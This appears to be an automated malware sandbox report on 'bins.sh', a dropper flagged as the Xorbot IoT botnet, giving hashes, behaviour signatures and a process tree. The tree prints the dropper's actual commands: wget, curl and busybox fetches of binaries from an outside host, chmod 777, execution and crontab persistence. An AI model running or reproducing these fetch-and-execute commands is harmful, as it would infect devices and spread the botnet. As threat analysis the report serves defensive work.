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Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    28/02/2025, 05:20

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    97982e7de5b089918c84f5769ac0eda3

  • SHA1

    6e77d8eaa36a9266927f0df9223d11d8808101b7

  • SHA256

    67fb57dc230fd70fdae2f18e1bf44b691a40dc151334bf7d5e95322e60466aa1

  • SHA512

    43c04300d6151b49107a0bc06e8a1eda6a74ba3367ee27933744e882cd51859a0069ec4248ea40b477307795cabb8d3c16ef467c1a5e0879a2b1fb1b45fde454

  • SSDEEP

    192:u4AFWyxBRpm/DWgxh237Ix3ShrKLxh237sk4AFWyxJRpm/DIa:u4AFWyxBRpm/DWgxh237Ix3ShrKLxh2K

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1563) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 24 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:721
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:724
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:726
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:741
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:750
      • /bin/chmod
        chmod 777 XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • File and Directory Permissions Modification
        PID:751
      • /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        ./XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
          PID:752
        • /bin/rm
          rm XQw82vXECRUV429SDvD0heUyhUITAYsq7p
          2⤵
            PID:754
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:755
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:756
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:761
          • /bin/chmod
            chmod 777 PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • File and Directory Permissions Modification
            PID:764
          • /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            ./PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
              PID:766
            • /bin/rm
              rm PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
              2⤵
                PID:769
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:770
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:809
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:836
              • /bin/chmod
                chmod 777 jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                2⤵
                • File and Directory Permissions Modification
                PID:840
              • /tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                ./jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                2⤵
                  PID:842
                • /bin/rm
                  rm jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                  2⤵
                    PID:845
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:846
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:847
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:849
                  • /bin/chmod
                    chmod 777 gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    2⤵
                    • File and Directory Permissions Modification
                    PID:850
                  • /tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    ./gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:851
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:853
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:854
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:855
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:856
                        • /bin/rm
                          rm gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
                          2⤵
                            PID:858
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                            2⤵
                            • System Network Configuration Discovery
                            PID:861
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                            2⤵
                            • System Network Configuration Discovery
                            PID:862
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:864
                          • /bin/chmod
                            chmod 777 H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                            2⤵
                            • File and Directory Permissions Modification
                            PID:865
                          • /tmp/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                            ./H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                            2⤵
                              PID:866
                            • /bin/rm
                              rm H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
                              2⤵
                                PID:868
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                2⤵
                                • System Network Configuration Discovery
                                PID:869
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                2⤵
                                • System Network Configuration Discovery
                                PID:870
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                2⤵
                                • System Network Configuration Discovery
                                PID:872
                              • /bin/chmod
                                chmod 777 ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                2⤵
                                • File and Directory Permissions Modification
                                PID:876
                              • /tmp/ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                ./ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                2⤵
                                  PID:877
                                • /bin/rm
                                  rm ZZrFP0yKHuQqewCCsQ04bnxnKpXwoNAspk
                                  2⤵
                                    PID:878
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:879
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:880
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:882
                                  • /bin/chmod
                                    chmod 777 bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:883
                                  • /tmp/bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                    ./bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:884
                                  • /bin/rm
                                    rm bPfFblMvU5IPjyW4w4BTuX7j81RUhcRxlC
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:885
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/4SGhIMElWoRpFpmBZSEtbNWlVzzulv0vMJ
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:886

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs

                                  Filesize

                                  111KB

                                  MD5

                                  701e7a55a4f3650f5feee92a9860e5fc

                                  SHA1

                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                  SHA256

                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                  SHA512

                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                • /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /var/spool/cron/crontabs/tmp.1IK9kH

                                  Filesize

                                  210B

                                  MD5

                                  f3d3f00ffb7d962f72b3daa1a9fd33fe

                                  SHA1

                                  2188f68e037b1edf4a42497b6efc4565f4cea3b1

                                  SHA256

                                  5591c7c6becb6b09223d69002f3fac2b52c8cbf5e12593e9f90e93d32613527b

                                  SHA512

                                  8998b54a978b3df4c828018cee5d248b584959d9d3492c7f36ee1f2e6e86ff5e8908d8dabf4d9d60957778d6c9fd5816fd1aa19904356697971e14be0f1e749e